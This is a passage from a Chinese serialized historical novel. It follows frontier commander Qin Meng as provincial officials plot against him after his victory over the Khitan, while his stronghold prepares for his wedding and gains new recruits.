狂风呼啸,卷着鹅毛般的雪片,抽打着幽州城灰黑色的城墙。
大雪纷纷扬扬,昼夜不停,将这座边陲雄城裹进一片混沌的银白之中。
远处的钟鼓楼、近处的屋舍、阁楼,都只剩下模糊的轮廓,宛如蛰伏在暴风雪中的巨兽。
街道早已被积雪吞没!
偶有百姓顶着寒风,奋力用木锨清理自家门前的雪堆,或是冒险爬上屋顶,扫落瓦片上越积越厚的皑皑积雪,生怕雪太厚,房梁便被压垮。
每一个从室外挣扎进屋的人,眉毛、胡须上都结满了厚厚的寒霜,需要好一阵烘烤才能缓过气来。
然而,就在这足以冻僵血液的天气里,边塞的将士们依旧如同一尊尊雕塑,披着冰冷刺骨的铁甲,紧握着**,坚守在戍堡、烽燧,目光穿透茫茫雪幕,死死盯着北方草原的方向。
与城中的严寒和边境的肃杀截然不同,幽州豪华气派的崔府内,却是另一番截然不同的景象。
府邸后院暖阁内,上好的银骨炭在雕花铜盆里烧得通红,噼啪作响,散发出令人慵懒的热浪。
屋内温暖如春,甚至有些燥热。
美酒佳肴的香气与歌姬身上的脂粉气混合在一起,弥漫在空气之中。
幽州刺史崔文远、别驾杨烁、治中孙强、长史苏乾等一众官员围坐一堂,推杯换盏,开怀畅饮,观赏着场中舞姬轻盈曼妙的舞姿。
酒过三巡,菜过五味。
众人微醺的脸上泛着油光,话题却不知不觉从风花雪月转向了北方那个让他们如鲠在喉的小小军寨。
崔文远舒适地靠在软垫上,抚摸着微凸的肚腩。嘴角噙着一丝一切尽在掌握的阴冷笑意,举杯道:“诸位,陈中丞这几日忙着巡视边军。
赵擎苍被牢牢按在了大营,动弹不得。接下来,就看那位‘少年英雄’如何应对这内外交困之局了。”
别驾杨烁立刻凑趣,脸上堆满了幸灾乐祸:“此计妙不可言,刺史大人运筹帷幄,下官佩服!
那秦猛不过一介匹夫,仗着几分蛮勇和赵擎苍的些许赏识,便敢不把我等放在眼里,断我等财路。
此番朝廷钦使驾临,天威煌煌,边军无法调动。没有飞虎卫的援军,看他还能嚣张到几时?”
治中从事孙强嗤笑一声,将杯中酒一饮而尽:“一个小小的边寨知寨官,芝麻绿豆大的官儿,竟妄图蚍蜉撼树?简直是螳臂当车!
这回,定要叫他明白,这燕北之地,究竟是谁说了算。”
“哈哈哈,此次契丹**来势汹汹,看他**!”
包厢内顿时响起一片阿谀附和之声,充满了对秦猛的嫉恨与即将看到其兵败而身死的快意。
仿佛那个正在边境浴血奋战、阻挡外敌的将领,才是他们不共戴天的仇人。
窗外的寒风呼啸嘶吼,却远不及这温暖厢房内的人心冰冷。
“不好了,大人……”就在这时,门外传来一阵慌乱急促的脚步声和呼喊,打破了包厢内的喧嚣。
房门被猛地推开,一股凛冽的寒风裹着雪沫卷入,吹得炭火明灭不定。
一个穿着文士袍、头发和肩头沾满未化雪沫的中年人,连滚带爬地闯了进来,脸色煞白,神情惶恐。
屋内众人纷纷皱眉侧目,待看清来人,下意识地让开一条路。
来者正是刺史府首席幕僚高晟,向来以沉稳干练著称,此刻却如此失态,必定是有大事发生!
崔文远心中咯噔一声,放下酒杯,沉声问道:“高先生,何事如此惊慌?慢慢说!”
高晟快速扫了一眼屋内,见都是崔文远的心腹,便不再隐瞒,喘了几口粗气,急声道。
“大人,燕北郡边塞刚送来的急报!铁血军寨……铁血军寨大捷,击溃了契丹主力!”
此话如同惊雷,瞬间在包厢内炸响。
方才还高谈阔论、喧闹无比的房间陷入一片死寂。
所有人浑身剧震,脸上得意的笑容瞬间冻结,一张张嘴巴不自觉地张开,几乎能塞进一枚鸭蛋。
哐当!哐当!
几声脆响,竟是有人惊得手中酒杯滑落在地,滴溜溜滚动。
他们前一刻,还在嘲讽契丹大军必将踏平军寨,弹冠相庆。转眼间就听到了这个堪称噩耗的消息!
软榻上的崔文远猛地站起身,脸上的肥肉抖动了一下,阴沉得能滴出水来,兀自不敢相信。
“不可能!绝对不可能!”
“上万契丹铁骑,主力岂能被一座边寨给击溃?”
“契丹兵势浩大,据说有上万控弦之士。飞虎卫赵擎苍被我们拖在幽州大营,铁血军寨不久前是个戍堡,区区数百老弱,拿什么抵挡契丹铁骑?”
高晟深吸一口气,强迫自己冷静下来,语速依旧很快:“千真万确!捷报已经传至帅司。
虎贲军营甚至张贴了告示,如今营中军卒都在议论此事。这则消息像长了翅膀一样飞进了幽州城,许多百姓都在夸赞秦猛用兵如神。”
高晟顿了顿,见崔使君脸色阴沉,还是硬着头皮说:“据说契丹人连战
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连败,损失惨重。
就在前天晚上,其酋帅萧铁鹰亲率精锐渡河夜袭,却中了秦猛的埋伏,被三路伏兵杀得大败,这位萧酋帅狼狈逃窜,麾下兵马折损殆尽!”
“万人!这可是上万契丹铁骑啊!”崔文远越听脸色越是铁青,一拳砸在桌案上,震得杯盘乱响。
“竟然奈何不了一个小小的边寨。萧铁鹰这个废物,狗屁的王帐勇士,契丹人全是一群废物!”
包厢内鸦雀无声,方才的欢愉气氛荡然无存,只剩下炭火燃烧的噼啪声和窗外隐隐的风啸。
每个人脸上都阴晴不定,心思各异。
杨烁擦了擦额角不知是热出来还是吓出来的冷汗,试探着开口:“大人,息怒。契丹人指望不上,看来,这秦猛比我们想的还要棘手。”
孙强也凑过来,阴恻恻地说:“大人,此子羽翼渐丰,又深得军心,如今更立下如此大功,若朝廷封赏下来,恐怕又是一个赵擎苍。”
长史苏乾眼珠子转了转,忧心忡忡地附和:“没错,我们不能等闲视之,必须要做点什么,不然假以时日,此子必将成为心腹大患啊!”
崔文远眼神闪烁,缓缓坐回原位,手指轻轻敲击着桌面,沉吟片刻,脸上重新浮现出惯有的算计:“高先生,依你之见,接下来该如何?”
高晟已然镇定下来,低声道:“大人,契丹兵败,已成事实。当务之急,是不能让秦猛借着这场大功继续坐大。
军寨兵强马壮,已不容小觑。再由他一手遮天,后患无穷。是时候……派咱自己人进去了。
以协助整顿政务、安辑地方为名,行监视掣肘之实,不仅能牢牢遏制住秦猛,也能洞察其动向,伺机而动。”
崔文远神色稍缓,点了点头,又恢复了那份封疆大吏的镇定:“嗯,此言有理。杨别驾,此事由你尽快拟个章程,选派得力干练之人,让苏监镇带队,准备赴边塞入驻铁血军寨。
我们要让秦猛明白,在这燕北之地,打仗厉害不算本事,能活下去,活得久,才是真本事!”
“下官明白!”杨烁连忙躬身应下。
包厢内,歌舞早已停止,舞姬乐师已被挥退。
众人重新落座,依旧推杯换盏,但气氛却再也回不到之前。
美酒佳肴似乎也失了味道,每个人都是心事重重,眼神交换间,多了几分难以言说的警惕与忧虑。
众人却不知道,就在他们团伙密谋如何对付秦猛之时,也有一伙人商议着如何来折腾他们。
第202章 暗战起,喜庆扬
城南,李福记皮货店。
这家店铺,原是韩勇暗中经营的产业之一,并未因为之前刘德福一事而被波及查封关门。
如今自然也随着韩勇一同投效了秦猛。掌柜姓李,是韩勇的心腹,为人稳重,办事牢靠。
店铺表面经营着皮货生意,收购些草原上的毛皮,也卖些毡毯、皮袄,看起来与寻常商铺无异。
实则是铁血军寨的暗部据点之一。
专门负责收集情报,打探幽州城内发生的大事。以及各官僚的行动轨迹都在探查范围之内。
此刻,店铺后院的偏房内,炉火驱散了屋内的寒意。
暗部新任队长老周,刚刚外出归来,边抖落满身的雪沫,边向坐在炕上的韩勇和刘三说着情况。
“消息已经按照计划放出去了,城内现在许多茶楼酒肆,甚至街角巷尾,都有百姓在议论。咱们找的那些人,虽是地痞,但却干得不错。”
老周的声音压得很低。
韩勇给自己倒了杯热茶,静静听着,不时问上一两句细节。
刘三则摩挲着下巴,眼中闪着光:“那些关于崔文远他们勾结山贼,欺压百姓等消息散得开吗?”
“散得开!”老周肯定地点头,“尤其是结合这次秦将军以少胜多、大破契丹的事儿,老百姓心里都有杆秤。
一边是浴血奋战的英雄,一边是搜刮民脂民膏……哼,议论的人很多,虽然明面上不敢说,但暗地里,对刺史府那边,已是怨声载道。”
“那就好,切记保密,不能暴露自身。”
“放心,大人教过化妆易容,放消息传递多手。”
几天前,韩勇,刘三两人伤势好的差不多了,押送着一批批以皮货、药材为掩护的物资,顺利抵达幽州城的各铺面,设立为暗部据点。
与此同时,他们也肩负着秦猛交代的重要使命。
——在这幽州城内,掀起一场不见刀光剑影的风暴。
秦猛岂是任人拿捏之辈?崔文远屡次三番的暗算,甚至不惜勾结外敌,已然触犯了他的底线。
这场**战,便是他反击的开始。
他要让幽州官场人心惶惶,让崔文远**的恶行暴露在众人窃窃私语之中,先乱其阵脚。
而韩勇,刘三,老周等人以金钱开道,找到城内游手好闲的帮闲,地痞流氓等底层人,在菜市场,窑子里散播各种不利欧洲官僚的消息。
如幽州官府勾结冷艳山贼一事,再如勾结**杀害朝廷命官,以及蛊惑地方军攻击边军……
再连带明面上那些被赎回亲人的家属嘴杂透露。用不了多长时间,一股风暴便会在城内席卷。
与此同时,城外的飞虎卫大营,则是另一番景象。
尽管风雪漫天,但营内却充满了一种激昂的热烈。
号角声、整齐的操练呐喊声、战马的嘶鸣声交织在一起,驱散了严冬的寒意。
中军大帐内,赵起刚听完亲兵汇报帅司对此次大捷的初步封赏。
“哼!”他嗤笑一声,将嘉奖公文随手丢在案上:“帅司是越来越小气了!除了些空头衔和聊胜于无的钱粮衣甲,一点实在的东西都舍不得给!”
话虽如此,他还是很快收敛了情绪,对身旁的**官吩咐道:“按照规矩,立刻拟定褒奖公文,以我飞虎卫的名义,先行嘉奖秦猛及其麾下所有立功将士。
着即提升陷阵营兵额五百,戍卫营兵额五百。另外,铁血堡寨此次战功卓著,准其从小寨,升格为中型军寨,从库里调拨一应装备!”
“是,将军!”**官领命,立刻伏案奋笔疾书。
赵起踱步到军帐门口,掀开厚重的门帘,望着营寨中士气高涨、忙碌而有序的景象。
士兵们脸上带着与有荣焉的兴奋,显然铁血军寨的大捷也极大地鼓舞了飞虎卫全体的士气。
他抬头,目光仿佛要穿透重重风雪,望向铁血军寨的方向,低声自语,语气中充满了赞赏:“秦猛啊秦猛,你这小子,还真是给了我一个惊喜!看来以前还是远远低估了你的能耐……”
赵起的眼神逐渐变得锐利,手中不自觉地攥紧了一封密信,那是袁飞之前派人送来的,其中提到了幽州官场的某些异动和他的担忧。
“猛士当崛起边陲,放手去干吧!”他仿佛下定了决心,喃喃道,“后面,有本将替你撑着!”
这时,赵起似乎又想起一事,脸上露出一丝古怪的笑意,摇了摇头:“你这小子,倒是心急,腊月十八就要成亲了?这杯喜酒,我是赶不上喽……”
他转身,对帐外亲兵高声吩咐:“来人!速去库房,给我精心备一份厚礼,挑选良驹,要快!送往铁血军寨,贺秦知寨新婚之喜!”
……
铁血军寨,也被笼罩在风雪之中!
可这座边寨,自三日前击溃契丹主力的振奋未消,如今又添上一重浓浓的喜气,驱散了严冬的酷寒。
寨子里,到处是忙碌而欢快的身影。
寨门处,王善带着一队兵士,正将刚砍伐回来的松枝往门楣上绑。
翠绿的松枝衬着皑皑白雪和崭新的红绸,分外醒目。
“左边,再高一点!对对,就这样!”袁飞跺着脚指
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挥挂红灯笼,呵出的白气混着喊声响彻。
孩子们最高兴,他们才不管什么军国大事,只知道最大的官儿,带领大家打胜仗的秦知寨要娶新娘子了。
他们穿着厚实的棉袄,在清扫出来的空地上追逐嬉闹,小脸冻得通红,却扯着嗓子,唱起了不知从哪儿学来、又自己胡乱改编的童谣:
“腊月十八日子好,秦知寨,娶娇娘!”
“骑大马,配红鞍,新娘子轿里羞答答!”
“杀**,保家乡,娶了媳妇生娃娃!”
“娃娃壮,娃娃强,长大也扛秦家枪!”
童声稚嫩,却唱得格外起劲,歌词直白简单,充满了边塞百姓最朴素真挚的祝福和期望。
这欢声笑语,为肃杀的军寨注入无限的生机。
在这北疆苦寒之地,婚丧嫁娶向来一切从简,能省则省。
但秦猛的身份毕竟不同往日,他不仅是这铁血军寨的之主,更是带领小南河堡残部逆势崛起。
况且,这是两年多来,这片土地上唯一一次真正意义上的大喜事,是见证小南河堡从灰烬中重生、壮大为铁血军寨的活生生的象征。
因此,老保长王槐这次异常坚持,力主必须要大操大办,好好热闹一番,去去往日的晦气,也安安大家的心。
秦猛原本只提过一嘴,没想到王槐是真正上了心。
从大半个月前,他就开始张罗筹备,亲自指点安排。
去青阳郡城采买生活物资的队伍,也带回了大量的红绸、喜烛、喜糖等婚庆用品,食材干货。
如今,军寨那肃杀的官署内外,早已张灯结彩,被红色点缀得焕然一新,显得格外温暖夺目。
王槐这个过来人,把一切都安排得井井有条。
他早早就让衣甲坊的婆娘们,用上好丝绸衬里,赶制出了新郎新娘的大红喜袍,靴子等。
木工坊的鲁明师傅,更是使出了看家本领,利用难得的闲暇,带着徒弟精心打造了一顶结实又美观的大花轿,轿帘上雕刻的鸳鸯戏水图。
按照规矩,新娘子陈月娘已于腊月十五被接到了李铁匠家中暂住。
一来是遵循风俗,闺女出嫁前要从“娘家”出门,等着迎亲队伍;
二来,也好由寨里那位心直口快、经验丰富的王婶,给这即将为人妇的姑娘私下里普及些“相关知识”,免得成亲后,新婚之夜慌了手脚。
总之,这场备受瞩目的婚事,有老成持重的王槐全力操持,有诸葛风、李恒等人从旁协助张罗。
整个铁血军寨都沉浸在一种愈发浓郁的喜庆氛围之中。
第203章 抉择与投效
铁血军寨,木工坊后头那间暖烘烘的铺屋,是工头师傅鲁明的新家,木香味儿还没散干净。
天色渐黑,屋内,油灯的火苗摇曳着,映得满室昏黄。
鲁明从工坊归来,坐下吃饭时,目光总离不开对面身材壮硕、脑袋锃亮的侄子鲁真,眼眶又湿了。
“娃儿,你打小就性子倔,眼里揉不得沙子,这十多年,我一闭眼就担心你在外头吃亏、受委屈……”
鲁真如今法号玄空,这金刚似的汉子,只低着头,瓮声瓮气地说:“叔,这些年,我挺好。”
“好什么好?”鲁明声音拔高,带着长辈的疼惜和不容置喙的劲儿,“那你又如何落发为僧?”
坐在一旁的鲁明婆娘钱氏赶紧放下筷子,用围裙擦了擦手,拿起勺子舀着炖得软烂的土豆放进鲁真碗里,笑着打圆场:“他爹,孩子安然回来就好,先吃饭,有话慢慢说。
真儿啊,别跟你叔置气,你叔这些年,逢年过节就念叨你,总说不知道你在哪儿吃没吃饱、穿没穿暖。”
鲁明瞪了钱氏一眼,却没再接着发火。
桌角的小儿子鲁小亮捧着粗瓷碗,扒拉着粟米饭,偷偷抬眼瞅了瞅堂哥锃亮的光头,又飞快低下头,筷子在碗里戳来戳去,没敢吱声。
鲁真看着碗里的土豆,又看看仅存的亲人。心里一阵发酸,对着钱氏拱了拱手:“婶子,多谢。这些年,劳烦叔和婶子挂心了。”
“挂心有啥用?”鲁明叹了口气,语气软了些,“你要是真过得好,能十多年不捎个信?
如今你回来了,又是在边境,那就不要走了,还俗过上正经日子。军寨刚建,正是用人的时候!
秦大人有眼光,听说又要组建新营,就你这身子骨、这身武艺,躲在庙里念经,纯属糟蹋!”
他凑得近了些,压低声音却更显急切:“我跟秦大人提过你,打死那祸害百姓的恶霸,那是替天行道!有秦将军护着,天塌不下来!”
“叔,我……”鲁真张了张嘴。出家近十年,清规戒律早刻进骨子里了。
“你别跟我辩!”鲁明脸色一沉,挥手打断他,“你出家那是走投无路,是年轻不懂事儿,我不答应!
你娘临终前,拉着我的手,唯一放不下的就是你,嘱托我把你拉扯大,让鲁家大房续上香火。”
老木匠的手因为激动微微发颤:“如今你找来了,这就是天意。留下,还俗,成家立业!”
他最后几乎是命令的口气:“事儿,就这么定了!”
鲁真没再反驳,默默扒拉着碗里的杂粮饭,心里却不平静。
他想起幼时,叔叔背着生病的自己跑遍半个镇子求医。
想起逃亡路上,官府画影图形缉拿他,是金刚寺的老方丈收留了他,授他武艺、传他佛法。
可这三天在军寨的所见所闻,又让他心神动摇。
——他不仅得知草原上的**猖獗,年年犯边劫掠,作孽无数。军寨内大多人皆是家破人亡。
而且他看到演武场上,兵卒们顶着风雪训练,吼声震得积雪簌簌掉落;军医所里,郎中们不眠不休救治伤员,连孩子都提着木桶帮忙换药。
学堂里,半大的娃娃们捧着识字课本,念出的“戍边守土,保家卫国”八个字,声音稚嫩却决绝,比寺里的晨钟暮鼓更让他心头滚烫。
这是他从青州逃亡以来,从未见过的生机。没有官吏盘剥,没有盗匪横行,人人都有奔头。
饭后,钱氏收拾完碗筷,鲁明就拽着鲁真坐在炕边,又开始念叨:“娃儿,听叔叔的没错。
你想想,当和尚一辈子青灯古佛,这不能做,那也不能干。可边关的百姓需要你这样的好汉!
秦大人说了,重骑兵是军寨的尖刀,你若能领着弟兄们杀**,救下来的百姓,那不是也如菩萨般行善积德,比你念一百遍经文都管用!”
鲁真正欲开口,院门外突然传来一阵急促的拍门声,
伴随着赵开明焦急的呼喊:“鲁大师,鲁大师在家吗?”
鲁明起身开门,只见赵开明裹着一件崭新的棉袍,脸上冻得通红,神色慌张又带着几分急切。
“赵先生,这是怎么了?”鲁真起身问道。
赵开明喘着粗气,眼神却异常坚定:“大师,我决定了,现在就去官署找秦大人。
我打算定居在这军寨内,要向他坦明身份,求他给我一份差事,哪怕是抄文书、算账目都行!”
三天前,赵开明带着妻儿跟着秦猛的亲卫来军寨时,还是满心忐他曾是幽州漕运判官刘德福的幕僚。
因跟随多年,知晓刘德福留下的、记载幽州官僚勾结**的账册,先被忽悠交上了册子,接着被追杀,险些被灭口。若不是鲁真和林小哥出手相救,他一家早已成了刀下亡魂。
这几日,秦猛忙着处理战后事宜和筹备婚事,没顾上见他,可他却把军寨的一切看在眼里:
兵士们分发粮饷时,官差当着众人的面称重,分毫不差;
民夫们修筑
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营墙,管饭管饱,冻伤了还有郎中诊治;
就连他住的铺屋,都有人送来新的棉衣棉被,妻儿也有足够的口粮,叮嘱他缺什么只管开口。
昨日,他路过粮库,听见两个老民夫聊天,说近来契丹人来犯,秦大人带着百来号人就敢冲上去,硬是把**击溃挡在了国门之外。
那一刻,赵开明彻底打定了主意!
——与其躲在铺屋里苟活,不如凭着自己十多年的幕僚经验,为这难得的清明之地出一份力。
“鲁大师,”赵开明望着鲁真,语气铿锵,“这世道,贪官污吏把百姓逼得活不下去,可秦大人不一样!
他是真心实意为百姓办事,跟着他,哪怕是做些琐碎事,也比在官场里同流合污强。我赵开明虽是文弱书生,却也想做些对得起良心的事!”
这番话,如同一记重锤,砸在鲁真的心上。他忽然想起老方丈圆寂前说的话:“佛法不在庙堂,而在人心。护众生平安,便是最大的功德。”
是啊,放下屠刀是慈悲。
拿起武器保护百姓,何尝不是另一种修行?
寺里的经文救不了饥寒交迫的百姓,挡不住烧杀抢掠的**,可军寨的士卒能,刀枪能!
这条六十多斤的镔铁禅杖同样能!
鲁真猛地攥紧拳头,光头下的脸庞露出几分决绝,瓮声说道:“好,赵先生,洒家与你同去!洒家也愿投军,跟着秦大人杀**,保边寨!”
两人当即动身,顶着暮色向官署走去。
此时的官署正厅,秦猛刚听完斥候汇报契丹残部的动向,见鲁真和赵开明前来,连忙起身相迎。
鲁真率先上前,双手合十行了一礼,而后坦诚道:“秦大人,我鲁真十年前因打死欺压百姓的恶绅,走投无路之下,逃亡至金刚寺为僧。
如今见军寨百姓安居乐业,兵士悍勇忠义,洒家愿蓄发还俗,投效大人麾下,任凭差遣!”
秦猛闻言大喜,前几日他在战场上见到这胖大和尚手持禅杖威风凛凛,那一身蛮力堪称惊人。
让他早已心生招揽之意。如今鲁**动来投,他当即拍板:“鲁壮士肯来相助,秦某求之不得。
你武艺高强,又杀敌立了功,便任陷阵营重骑兵队部将,统领三百重骑,明日即可到营中任职。”
鲁真又惊又喜,他没想到秦猛竟如此信任自己,也猜到与叔叔脱不开关,当即躬身拜谢。
“多谢大人,洒家定当奋勇杀敌,不负大人所托!”
第204章 敌影又至
赵开明在一旁看着秦猛爽快地收下了鲁真,并且直接提拔重用,心里是既高兴又有点打鼓。
他深吸一口气,把心一横,决定实话实说,投奔便不再隐瞒。也往前迈了一步,沉声开口。
“秦大人,跟您说实在话,我赵开明是个落第秀才。以前是在幽州漕运判官刘德福手下幕僚,专门帮他在官场上的走动,送礼打点这些门道,对文书往来、钱粮账目这些也都熟。”
秦猛一听,眼里闪过一抹惊讶,随即就变成了赞赏。
他之前问过鲁和尚,大概猜到这个姓赵的文人是因为知道不该知道的秘密,才被崔文远灭口,却没想到,他竟然是死对头刘德福的幕僚。
赵开明是个明白人,不等秦猛多问,赶紧吐露实情:“大人,我多少听过,您跟刘判官有些过节。
我曾劝过他,但他不听,加上我常年在外替他奔波,他那些以权谋私的事儿,我并没掺和。
我赵开明自问还有点用处,尤其擅长官场应酬。更重要的是,我手里有崔文远、杨烁他们那些官员勾结**的内幕消息,故而被灭口。
如今我真心想投靠大人,为您处理官署的琐事、往来文书,只求大人能让我们在这军寨安身。
将来时机成熟,只要大人您需要,我随时可以站出来,揭发崔文远这群蝇营狗苟的罪行!”
说完,赵开明后退几步,对着秦猛深深地行了一个大礼:“望大人能给我妻儿一条活路。”
“赵先生快别这么客气!”秦猛赶紧上前把他扶起来:“先生这么坦诚,说明你做人光明磊落,问心无愧。
你能来帮我,是我秦猛的运气,我必定以礼相待。以后官场上那些人情往来、文书应酬,可就多指望先生了。
不过这事儿不急,你先在军寨里熟悉熟悉情况再说。
你放心,只要有我秦猛在,没人敢动你一根汗**!”
“多谢大人,赵某一定竭尽全力,报答大人!”赵开明这下心彻底放回了肚子里,眼里满是感激。
“来人啊……”秦猛心里高兴,正要吩咐手下让伙房准备酒菜,好好招待一下新加入的两位,而这时,门外却突然传来一阵急促的脚步声。
“大人!”王善、**两兄弟快步走了进来,看到鲁真和赵开明也在,话到嘴边又有点犹豫。
“没事,直说吧,这两位以后都是咱自己人。”秦猛笑着摆手,简单介绍了鲁真和赵开明的新身份。
“大人,诸葛风先生脱不开身,便让我来转告。”王善边说边递上一本册子,语气满是兴奋。
“上次打垮契丹主力那一仗的战利品都清点完了。一共缴获了牛羊两千多头、粮食一千余百石。最关键是战马,有三千多匹,里头有一千两百匹是能当重骑兵的青蜉马,驮马近千。
还有一千三百套重甲!另外还有牛皮军帐五百多顶,弓箭、刀枪这些武器……都分类登记造册,该入库的入库,该修理的也都在修了!”
秦猛脸上露出喜色,这些收获连同金银首饰等,就算分一些给来帮忙的外援队伍,也足够让他的重骑兵队伍再扩大一倍,实力能涨一大截。
鲁真,赵开明听得暗暗咋舌。可**接下来汇报的事情,让整个厅堂的气氛一下子变得沉重起来。
“大人,伤亡数目也统计出来了……”
“这一仗,咱们军寨一共阵亡了五十六个弟兄,重伤的有三十二个,轻伤一百多人。光是咱军寨,陷阵营,就……就牺牲了二十七个……”
秦猛脸上的笑容瞬间消失了。
他沉默了好一会儿,才缓缓站起身,目光沉静而坚定,下达命令:“传我将令,所有阵亡弟兄的抚恤金,一律按双倍发放!
他们的家眷,军寨必须妥善安置。家里有家眷的,每月按时送钱送粮;有孩子的,免费入学堂。
要是没有亲人的……就从寨子里挑些孤儿过继到他们名下,改个姓,也算给英雄留个后。这事你去跟诸葛先生细说,他知道该怎么安排。”
秦猛又想起了一件事,赶忙吩咐:“对了,再去找石匠,打一块‘英烈碑’,就立在新兵营前面!把所有阵亡弟兄的名字都刻上去。
过几天,军寨举办一次追思会,当众述说他们的勇敢!让每一个军民都记住,鞑虏猖獗,咱们今天能过安稳日子,是这些弟兄拿命换来的!”
“是!大人!”王善、**红着眼眶,转身快步去传令。
秦猛看着他们离开,又转头看向鲁真和赵开明,无奈苦笑:“两位刚来军寨,就碰上这样的事。”
“走,喝一杯,也算是为你们接风。”
接下来,秦猛领着鲁真和赵开明来到偏厅,吩咐伙房弄几个实在的下酒菜。
不一会儿,一盆手把羊肉、一盆猪肉炖粉条,一碟油炸花生米、几个时令蔬菜就端了上来。
秦猛又破例开了一坛“北风烈”,为两人接风。酒封一开,一股浓烈淳厚的酒香顿时弥漫开来。
“好香啊!”鲁真和赵开
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明鼻子耸动着。
“来,鲁兄弟,赵先生,“这是咱们军寨的独有好酒,北等烈。”秦猛一边解释着,一边给三只粗瓷碗里满上酒,透明酒液在油灯下微微晃动。
“此酒性子烈,但暖身子,驱寒最好不过。两位能来,我这军寨真是如虎添翼,我先敬二位一碗!”
北方人哪有不喜欢酒的?尤其是鲁真这胖大和尚,嗜酒如命,二话不说,拉着赵开明入座。
伙房暖浪扑来,秦猛和鲁真、赵开明边喝边聊。三个人说着各地的风土人情,交流着打**的经验和见解。有说有笑,气氛很是融洽。
外面天色墨黑,风雪扑脸。在距界河百里之外的一处背风山谷,契丹人的临时营地死气沉沉。
败军之将萧铁鹰,和他收拢的两三百残兵前行。兵败如山倒的耻辱和刺骨的严寒,折磨着每一个幸存者。中途与部落援军相遇到了此处。
援军有五千之众!但萧铁鹰的心,却沉了下去。
来的不是平时与他交好的部众,而是伏弗郁部里和他一直不对付的万夫长勃发斤的兵马。
勃发斤是部落有名的勇士,靠战功成为万夫长。早年脸上受过伤,嘴角歪斜,眼神阴狠。
此刻,中军大帐内。
勃发斤坐在主位上,居高临下地看着狼狈不堪的萧铁鹰:“哟,这不是我们战无不胜的萧大人吗?”
勃发斤歪着嘴,斜着眼,语气里满是嘲讽,“怎么,酋帅大人,今年被南边的两脚羊收拾了?”
萧铁鹰脸色铁青,强压着怒火:“勃发斤,少废话,军情紧急!”
“紧急?”勃发斤嗤笑一声:“我看是你萧酋帅的位置,比较紧急吧?近万精锐骑兵,非要来攻打大周军寨,全被你葬送了,你还有脸回去?”
契丹部族,尤其是大部落,内部并不是铁板一块。各族群头人的权力争斗,此刻暴露无遗。
勃发斤毫不掩饰他落井下石的意思。
但嘲讽归嘲讽,勃发斤并没下令退兵,反而吩咐道:“收拢溃兵,继续往拒马河方向前进!”
“有点意思。”他歪斜的嘴角露出一丝残忍的笑容:“老子倒要看看,是什么人能把我们萧大酋帅打成这副德行?我族儿郎岂能放过他们?”
这位万夫长可不是要对萧铁鹰报仇,而是想去探查情况,顺便把俘虏换回来,增强自身威望。
败军之将萧铁鹰,虽然逃得一命,但此刻不仅要面对敌人的威胁,还要提防来自背后的算计。
第205章 喜幛红,雪幛冷
铁血军寨,官署。
直到深夜,鲁真和赵开明才红光满面地告辞离开。
秦猛独自回到后院的屋子,看见其他几个房间都没点灯,喊了两声“月娘,月娘”,却没人回应。
他这才想起来,陈月娘已经被接到李铁匠家去住了。
妹妹秦小芸和王艳也嚷嚷着要“保护夫人”,一起跟了过去。
偌大的房子里,就只剩下了他一个人。
屋子里静悄悄的,一种说不出的孤独感涌了上来。
秦猛望着窗外零星亮着的灯火,脑海里不由自主地浮现出另一个世界里父母,小妹的音容笑貌,鼻子发酸,眼泪不知不觉就滑落下来。
他低声喃喃:“爸,妈,儿子我终于要在这里成家了……”
青阳郡城,郡衙后院的青石板路被暮色浸得发沉,林婉儿的闺房透出微光,里头传来女孩断断续续的的啜泣声,砸在寂静的空气里。
林婉儿坐在妆镜前,掩面哭泣,听闻秦猛要迎娶童养媳陈月娘的消息,心中像是被两股力道拉扯。
既为秦猛终于有了安稳归宿而欣慰,又为自己藏了女儿家的心事无处安放而酸涩,眼泪顺着脸颊滚落,砸在梳妆台上晕开细小的水渍。
“婉儿,开门听听爹说。”郡守林安国的声音在门外响起,带着几分无奈,“秦猛早有婚约在身。
这是铁板钉钉的事,你莫要伤心,应该振作起来。不再与他牵扯的,以后爹给你找个好……”
屋内的啜泣声陡然停了,紧接着是一阵急促的脚步声。房门“吱呀”被拽开,林婉儿眼眶红肿。
原本柔顺的发丝有些凌乱,却难掩眼底的执拗:“爹,他成婚是喜事,我去送份贺礼总没错。
张大哥明日要代替你去铁血军寨祝贺,我跟他一同去,亲眼看着,祝秦将军与月娘姐安好。”
林安国看着女儿泛红的眼眶和紧抿的薄唇,知道这孩子外柔内刚,越是劝说越会拧着来。
他重重叹了口气,摆了摆手:“罢了,罢了,你要去便去吧,亲眼见了,或许才能彻底断了念想。只是路上务必跟着张崇,不可任性妄为。”
林婉儿用力点头,抹去眼泪,转身回屋收拾行囊,窗外的暮色里,似有微光重新点亮了她的眼眸。
……
腊月十八这个好日子,一天天近了。
那些收到请柬的宾客,从前两天就开始陆陆续续赶到军寨。
南河城寨的常胖子是最早到的,这位精明的商人不但备了厚礼,还额外送来了数百石的米面粮食和几十头大肥猪,说是给军寨添点喜气。
李家和罗家这些跟军寨有生意来往的家族,也都派了人来,不是家主亲自到场,就是家族里说得上话的重要人物带队。
他们都带着丰厚的贺礼,还顺便运来了不少粮草军需……
这些迎来送往、安顿宾客的杂事,都由李恒和吴二带着人一手操办,处理得井井有条。
离大婚的日子越近,秦猛反而越发不敢放松警惕。他照样每天顶风冒雪地去巡视各处。
特别是那几个关键的燧堡和寨前军营、雪墙防线,都要亲自去查看防务,慰问值守的士卒。
官署里面,王槐老爷子拿着一张写满名字的红纸,正和诸葛风最后核对宾客的名单和座位安排。
“赵起将军人肯定是来不了啦,但贺礼肯定会送到。”诸葛风摸着下巴的稀疏胡茬,睿智地分析。
“这份礼不会轻,情意更重。”
“没错,袁飞那小子肯定和赵将军的关系不一般。”王槐用笔尖点了点主桌旁边的一个空位。
“这个位置得给他留个虚席,表示咱们的敬意。”
“林郡守估计也来不了。”
“离得这么近,他肯定会派心腹过来道贺。”
……
两人你一言我一语,把这重要的事情敲定下来。秦猛从外面巡视回来,斗篷上落满了雪花。
他看着官署被人装饰着,屋里到处贴着的喜字、挂着艳丽的红绸,脸上有点不好意思,但更多的还是被这股暖洋洋的喜庆劲儿包围着。
“老爷子,诸葛先生,辛苦你们了。”
“你少操心这些杂事!”王槐头也不抬,像赶自己家子侄一样,挥着手撵他:“赶紧去找李铁匠,再练练后天接亲的礼仪,那才是正经!”
“好吧!”秦猛笑了笑,转身又扎进了外面的风雪里。
此时的李铁匠家,却是另一番热景象。
陈月娘穿着新做的棉袄,坐在炕沿上,脸颊绯红,低着头听王婶絮絮叨叨地嘱咐着成亲要注意的事情。
